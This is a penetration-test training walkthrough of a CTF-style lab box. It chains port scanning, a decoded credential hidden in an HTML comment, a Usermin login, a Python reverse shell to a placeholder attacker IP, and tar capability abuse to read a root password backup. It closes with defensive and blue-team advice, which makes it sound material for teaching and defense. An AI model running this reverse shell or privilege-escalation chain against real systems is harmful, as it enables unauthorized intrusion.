Penetration Test Walkthrough: From Old Password to Root Shell
In this article we walk through an entire black-box external penetration test against a laboratory system, with a particular focus on one of the most common misconfigurations in enterprise environments: the use of old passwords that were never removed from backup files. The example runs against a CTF-style lab VM (HackTheBox/TryHackMe/Vulnhub box). You will see the full chain: port scan → enumeration → encoded credentials → service login → reverse shell → enumeration → privilege escalation via an old password.
Legal & ethical scope: The flow described here runs against a laboratory CTF lab box on an internal RFC 1918 network. All techniques must be executed only against intentionally vulnerable VMs (HackTheBox, TryHackMe, Vulnhub) or inside engagements with written authorization and explicit exploitation approval in the Rules of Engagement.
Scenario: external black-box pentest
Starting point: a single IP address (lab range, RFC 1918). No other information. Goal: assess exposure and achieve root access as part of the engagement deliverable.
MITRE ATT&CK mapping:
- TA0043 — Reconnaissance
- TA0001 — Initial Access
- TA0004 — Privilege Escalation
- T1078 — Valid Accounts
Step 1 — Port scanning with Nmap
# lab target: 10.10.10.50 (replace with your authorized target)
nmap -Pn -sV -sC -vv -oN scan.txt 10.10.10.50
-Pn: skip host discovery (assume up — many CTF labs do not answer ICMP).-sV: service version detection.-sC: default NSE scripts.-vv: verbose output.-oN: save report for the deliverable.
Typical lab results:
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.x
139/tcp open netbios-ssn Samba smbd 4.x
445/tcp open microsoft-ds Samba smbd 4.x
10000/tcp open http MiniServ 1.x (Webmin httpd)
20000/tcp open http MiniServ 1.x (Usermin httpd)
Step 2 — Web enumeration on port 80
# Directory brute-forcing
dirb http://10.10.10.50/
# or with wordlist:
gobuster dir -u http://10.10.10.50/ -w /usr/share/wordlists/dirb/common.txt
The lab returns only the default /manual/ directory (Apache documentation). No immediate vulnerability.
A step that many pentesters skip: view-source of the landing page:
curl -s http://10.10.10.50/ | tail -20
The lab has an HTML comment at the end of the page with an encoded string:
<!-- ++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>++++++++++++++++.++++.... -->
This is Brainfuck esoteric language. Use an online decoder (CyberChef “From Brainfuck” recipe) or a local bf interpreter:
# With CyberChef CLI or pyBrainfuck:
echo '++++++++++[>...' | bf
# Output (lab example):
# .2uqPEfj3D<P'a-3
This is a potential credential — we do not yet know which account it belongs to.
Step 3 — SMB enumeration (ports 139/445)
enum4linux -a 10.10.10.50 | tee enum4linux.txt
# or the newer fork:
enum4linux-ng 10.10.10.50
In the lab we obtain:
- Password policy info (min length, complexity).
- List of local users — among them the user
cyber. - Domain / workgroup structure.
Combining: we have a username (cyber) + an encoded credential (.2uqPEfj3D<P'a-3). The next goal is to find which service this pair belongs to.
Step 4 — Try the credentials on Webmin / Usermin
We visit:
https://10.10.10.50:10000/— Webmin (admin interface). Tryingcyber : .2uqPEfj3D<P'a-3→ denied (Webmin wants an admin account).https://10.10.10.50:20000/— Usermin (user interface). Same pair → success.
We are in as the user cyber.
Step 5 — From Usermin to a reverse shell
Usermin provides a built-in Bash terminal for the logged-in user (Ctrl+K or the terminal icon). Using it:
# Check Python availability
which python3
# /usr/bin/python3
On the attacker box open a listener:
nc -lvnp 1337
In the Usermin terminal execute the Python reverse-shell one-liner (replace X.X.X.X with the attacker IP):
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("X.X.X.X",1337));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("/bin/bash")'
Success: netcat shows a cyber@target:~$ shell. Stabilize the TTY:
# Inside the reverse shell:
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xterm
# Ctrl+Z (background nc), then on the attacker host:
stty raw -echo; fg
# Enter Enter
Step 6 — Local enumeration as cyber
# Sudo rights
sudo -l
# (no sudo allowed for cyber)
# SUID search
find / -perm -4000 -type f 2>/dev/null
# Capabilities — essential on modern systems
getcap -r / 2>/dev/null
On the lab box getcap reveals:
/usr/bin/tar = cap_dac_read_search+ep
This means the tar binary has the capability to read files regardless of DAC permissions. Consult GTFOBins → tar for exploitation patterns.
Step 7 — Discovering an old password in a backup
With tar + capability, we search common locations where forgotten files tend to live:
# Common interesting paths
ls -la /var/backups/
ls -la /opt/
ls -la /tmp/
# On the lab box:
ls -la /var/backups/
# -rw------- 1 root root .old_pass.bak
The file is root-owned and the user cyber normally cannot read it. With the tar capability, however:
cd /tmp
tar -cf old_pass.tar /var/backups/.old_pass.bak
tar -xf old_pass.tar
cat var/backups/.old_pass.bak
# (the old root password appears in cleartext)
Step 8 — Privilege escalation to root
su root
# Password: <old password from the backup file>
# root@target:~#
Pwned. The administrator once had a different root password and changed it — but did not delete the backup file and most likely reused the same password on another service. That is the core lesson.
Why it works — and how to prevent it
- Password reuse: The same password was used in multiple places (Usermin, root). Fix: unique passwords per service plus a password manager.
- Old backups containing credentials: The
.old_pass.bakwas forgotten. Fix: secrets management in a vault (HashiCorp Vault, AWS Secrets Manager), not in plain files. - Capability abuse: The
cap_dac_read_searchontarwas unnecessary. Fix: minimize capabilities — audit withgetcap -r /periodically. - Verbose comments in production HTML: The Brainfuck comment was a developer artifact. Fix: HTML minification + security-headers review before deployment.
- Exposed management interfaces: Webmin/Usermin on a public IP without MFA. Fix: bind to internal interfaces, enable MFA, use IP allow-listing, fail2ban.
Common pentester mistakes
- Skipping view-source: Many flags hide in HTML comments. Always
curl -s | tailor View Page Source. - Neglecting getcap: Modern systems prefer capabilities over SUID. Always run
getcap -r /. - Brute force instead of enumeration: Hydra against Webmin would be flagged by IDS. Always check silent sources first (comments, configs, backup files).
- No TTY stabilization: Reverse shells without PTY do not handle
su,sudo, or vim. Always stabilize.
Defensive / Blue team perspective
- Password policy + history enforcement: In PAM (
pam_pwhistory.so remember=24) and AD GPO. No reuse of old passwords. - Regular audit:
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/nullgetcap -r / 2>/dev/null- Search for
passwordin/etcand/var.
- Honeyfiles: Plant files like
.passwords.bakthat contain nothing useful but trigger alerts when read. - EDR rules: Detect
taror other binaries with DAC capabilities reading root-owned files. - Management interface hardening: Webmin/Usermin behind a VPN, MFA enabled, fail2ban for brute-force protection.
Best practices for pentesters
- Record every command + timestamp for the report (Asciinema, script).
- Cross-check capabilities + SUID + sudo — together they give the full PrivEsc picture.
- Always inspect backup & legacy files (
.bak,.old,.swp,~). - Combine with LinPEAS/LinEnum (Part 1) for systematic enumeration.
- In the report, explain why the finding is a risk, not just how it was found.
Summary
This walkthrough captures a classic password reuse + forgotten backup PrivEsc chain — one of the most common misconfigurations in real enterprise systems. Its value is twofold: for pentesters, as a methodological template; for defenders, as a reminder that small forgotten files become critical attack vectors.
Next steps
- Linux Privilege Escalation Tools — Part 1 (Enumeration)
- Linux Privilege Escalation Tools — Part 2 (Exploitation)
- All Information Gathering articles
- External references: GTFOBins — tar, MITRE T1078, OWASP Top 10.
For complete training in external penetration testing and secure operations, explore the courses at Audax Cybersecurity Academy.

